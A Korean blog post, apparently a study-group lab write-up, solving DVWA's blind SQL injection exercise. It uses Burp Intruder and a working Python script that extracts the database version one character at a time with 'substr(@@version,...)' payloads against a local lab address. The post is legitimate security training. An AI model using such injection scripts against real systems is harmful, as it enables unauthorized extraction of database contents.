[ 실습 목표 ]
Find the version of the SQL database software through a blind SQL attack.
blind SQL attack 을 이용해서 SQL database 의 버전을 알아내는 것이 이번 실습의 목표이다.
[ 실습 화면 ]
- 아이디를 제출하면 그저 데이터 베이스에 존재만 한다고 알려주는 메시지가 출력된다.
- 소스코드를 보니 크게 얻을 수 있는 건 보이지 않는다.
- 한번 패킷을 잡아보자!
- 이렇게 출력이 된다.
- SQL Injection 중 Blind 는 참/거짓 값을 이용하여 정보를 알아내는 것인데 이는 버프 스위트나 파이썬 스크립트를 통해 알아내야한다.
- 수작업으로 하면 시간이 매우 오래 걸리기 때문이다.
- 우선 문법이 잘 먹히는 지 확인해보자.
- 문법이 잘 먹히는 걸 확인했으니 이제 버전을 알아내보자.
- 버전을 알아내기 위해선 버전 정보의 문자열 길이가 얼마나 되는지, 숫자와 문자의 조합으로 해당 길이까지 매칭한다, 참과 거짓을 판별할 수 있는 문구의 출력 중 exist 문자열이 출력되는 것을 이용하여 코드를 작성한다.
- 우선 버프 스위트를 이용하여 버전 정보의 문자열 길이를 구해보자!
- 버프 스위트의 intruder 기능을 이용하여 버전의 length 를 구해보았다.
- 버전 문자열의 length 를 성공적으로 구했다!
- 이제 문자열을 구하기 위한 파이썬 스크립트를 작성해보자.
import requests
URL = "http://192.168.64.4/vulnerabilities/sqli_blind/"
cookies = {
'PHPSESSID': '5qcqg14g7rulgpi9r160ive9jq',
'security': 'medium'
}
result = ""
for i in range(1,24):
for j in range(0,127):
data = {
'id':f'1 AND substr(@@version,{i},1) = {hex(j)} #',
'Submit':'Submit'
}
req= requests.post(URL, data=data, cookies=cookies)
if "exists" in req.text:
result+=chr(j)
print(f'서버 문자열 길이 {i} : {result}')
break
print(f'서버 버전 : {result}')
- requests 모듈을 삽입하고, 요청을 보낼 URL 을 만든다.
- 함께 보낼 쿠키를 셋팅하고 데이터 베이스의 버전을 담을 빈 문자열을 만든다.
- 이중 for 문을 이용하여 version 의 문자열을 알아낸다. 이때, 1 AND 에서 버전의 인덱스와 해당 문자가 일치하면 1 을 반환하므로 User ID exists in the database. 라는 문구가 뜬다.
- 해당 문구의 exists 문자열을 이용하여 문구가 출력되면 버전의 문자열을 올바르게 찾은 것이므로 += 대입을 통해 데이터 베이스의 버전의 최종 문자열을 알아낸다.
- 따라서, 해당 스크립트를 실행시키면,
- 위의 사진과 같이 최종 서버의 버전 문자열을 알아낼 수 있다.
- mysql 에 들어가서 버전을 확인해보니 동일한 것을 알 수 있다.
- 이렇게 Blind SQL Injection 은 참/거짓을 활용하여 정보를 알아낼 수 있다.
- Blind SQL Injection 에서 사용하는 유용한 함수를 나열하고 마치겠다.
substring, length, limit, ascii
- 참고로 substr() 함수는 인덱스가 0이 아닌 1로 시작하는 것을 기억하자!
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W6 : DVWA 실습 - DOM based Cross-Site-Scripting (medium) (0) | 2022.10.30 |
---|---|
[빡공팟 5기] W6 : DVWA 실습 - Weak Session IDs (medium) (0) | 2022.10.30 |
[빡공팟 5기] W6 : DVWA 실습 - SQL Injection (medium) (0) | 2022.10.30 |
[빡공팟 5기] W6 : DVWA 실습 - Insecure CAPTCHA (medium) (0) | 2022.10.30 |
[빡공팟 5기] W6 : DVWA 실습 - File Upload (medium) (0) | 2022.10.30 |